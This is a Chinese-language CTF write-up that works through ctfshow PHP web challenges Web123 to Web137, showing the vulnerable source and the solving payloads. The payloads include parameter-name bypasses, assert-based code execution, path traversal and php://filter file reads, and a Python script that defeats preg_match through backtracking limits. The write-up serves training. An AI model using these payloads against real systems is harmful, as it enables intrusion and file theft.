因为之前时间的关系CTFshow的内容很多专题是做了一半,现在是把那些没做完的内容补上。
[TOC]
Web123
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-| |=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的,绕过的话这里要利用它的判定规则,当变量名中存在两个不合法字符时,只转换前面的那一个。[和.并存时,会转换前面的[,而[转换之后恰好为_,从而可以绕过。
Web125
代码语言:javascript复制error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-| |=|{|}|"|'|,|.|;|?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
$argv:传递给脚本的参数数组
Web126
代码语言:javascript复制error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-| |=|{|}|"|'|,|.|;|?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
源代码第六行使用 isset 语句判断,所以我们需要定义 CTF_SHOW ,CTF_SHOW.COM,但是不能声明fl0g,但是后面的判断中fl0g===”flag_give_me”才能得到flag,这里就需要我们通过 CTF_SHOW ,CTF_SHOW.COM两个参数绕过。
代码语言:javascript复制assert函数 bool assert ( mixed assertion [, Throwable exception ] ) , eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加。
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
Web127
代码语言:javascript复制<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/`|~|!|@|#|^|*|(|)|\$|_|-| |{|;|:|[|]|}|'|"|<|,|>|.|\|//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
extract抽取函数:通常情况结合数组使用,?ctf_show=ilove36d但是下划线被过滤了,这里又一次用到了上面讲到的内容,当变量名中存在会将其转化为_ 空格是经典的非法参数,我们就可以用 进行绕过
Web128
代码语言:javascript复制<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
Web129
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos() 函数查找字符串在另一字符串中第一次出现的位置 ,readfile() 函数输出一个文件。同时stripos($f, ‘ctfshow’)>0说明ctfshow不能放在首部。
这道题解法也有不少,比如目录穿越 ?f=/ctfshow/../../../../../var/www/html/flag.php 再比如filter伪协议,?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php 甚至我们可以 ?f=./ctfshow/../flag.php 先进入名为ctfshow的下级文件夹在穿越回去,这个跟第一个本质上是一样的…..
Web130
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/. ?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
直接绕过正则表达式: f=ctfshow
.表示任意单个字符, 表示必须匹配1次或多次, ?表示 重复1次或更多次,但尽可能少重复,所以在ctfshow前面必须有至少一个字符,才会返回true。所以才有了直接f=ctfshow。
这一道题也可以通过数组绕过,因为stripos函数无法处理数组, 可以直接传f[]=1,
Web131
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/. ?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
可以利用回溯限制来绕过。
当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。这里ctfshow提供的wp不知道为什么我做不出来……
这边利用回溯限制来绕过,当回溯的次数绕过了25万是preg_match返回的非1和0,而是false,所以可以绕过preg_match函数。
代码语言:javascript复制import requests
url='http://8d380352-394f-4754-8bde-5c906930bcd2.challenge.ctf.show/'
data={
'f':'very'*250000 'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
Web132
打开是一个网站,访问robots.txt得到/admin打开/admin获得题目。
代码语言:javascript复制<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
对于与
(&&) 运算: x && y
当x为false时,直接跳过,不执行y; 对于或(||)
运算 : x||y 当x为true时,直接跳过,不执行y ,同时与运算的优先级要高于或运算,所以我们只需要满足第三个条件就行。
?username=admin&password=admin&code=admin
Web137
代码语言:javascript复制<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}static function getFlag(){
echo file_get_contents("flag.php");
}
}call_user_func($_POST['ctfshow']);
代码语言:javascript复制考察调用类中的函数 call_user_func()–第一个参数
callback
是被调用的回调函数,其余参数是回调函数的参数。
ctfshow=ctfshow::getFlag
#php中 ->与:: 调用类中的成员的区别,->用于动态语境处理某个类的某个实例,::可以调用一个静态的、不依赖于其他初始化的类方法。